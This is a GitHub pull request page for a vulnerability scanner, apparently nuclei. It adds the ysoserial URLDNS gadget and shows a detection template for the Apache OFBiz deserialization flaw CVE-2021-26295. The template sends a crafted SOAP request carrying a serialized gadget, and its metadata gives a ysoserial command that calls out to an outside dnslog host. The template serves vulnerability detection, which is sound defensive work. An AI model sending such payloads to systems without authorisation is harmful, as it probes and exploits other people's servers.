Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added urldns gadget from ysoserial #1985

Merged
merged 1 commit into from
May 17, 2022
Merged

Added urldns gadget from ysoserial #1985

merged 1 commit into from
May 17, 2022

Conversation

Ice3man543
Copy link
Member

@Ice3man543 Ice3man543 commented May 11, 2022

Proposed changes

Added original Ysoserial URLDNS gadget replacing the one from jexboss. Closes #1952

Fixed template using new gadget -

id: CVE-2021-26295

info:
  name: Apache OFBiz RMI deserializes Arbitrary Code Execution
  author: madrobot
  severity: critical
  description: Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
  metadata:
    ysoserial-payload: java -jar ysoserial-master-d367e379d9-1.jar URLDNS http://t53lq9.dnslog.cn | hex
  tags: apache,cve,cve2021,rce,ofbiz

requests:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header/>
            <soapenv:Body>
                <ser>
                    <map-HashMap>
                        <map-Entry>
                            <map-Key>
                                <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
                            </map-Key>
                            <map-Value>
                                <std-String value="{{interactsh-url}}"></std-String>
                            </map-Value>
                        </map-Entry>
                    </map-HashMap>
                </ser>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Checklist

  • Pull request is created against the dev branch
  • All checks passed (lint, unit/integration/regression tests etc.) with my changes
  • I have added tests that prove my fix is effective or that my feature works
  • I have added necessary documentation (if appropriate)

@Ice3man543 Ice3man543 self-assigned this May 11, 2022
@Ice3man543 Ice3man543 added the Status: Review Needed The issue has a PR attached to it which needs to be reviewed label May 11, 2022
@Ice3man543 Ice3man543 linked an issue May 11, 2022 that may be closed by this pull request
@Ice3man543 Ice3man543 requested review from Mzack9999 and removed request for parrasajad May 17, 2022 07:24
@ehsandeep ehsandeep merged commit 062fe6d into dev May 17, 2022
@ehsandeep ehsandeep deleted the deserialization-urldns branch May 17, 2022 09:03
@ehsandeep ehsandeep added Status: Completed Nothing further to be done with this issue. Awaiting to be closed. and removed Status: Review Needed The issue has a PR attached to it which needs to be reviewed labels May 17, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Status: Completed Nothing further to be done with this issue. Awaiting to be closed.
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Mismatched ysoserial / generate_java_gadget URLDNS output
3 participants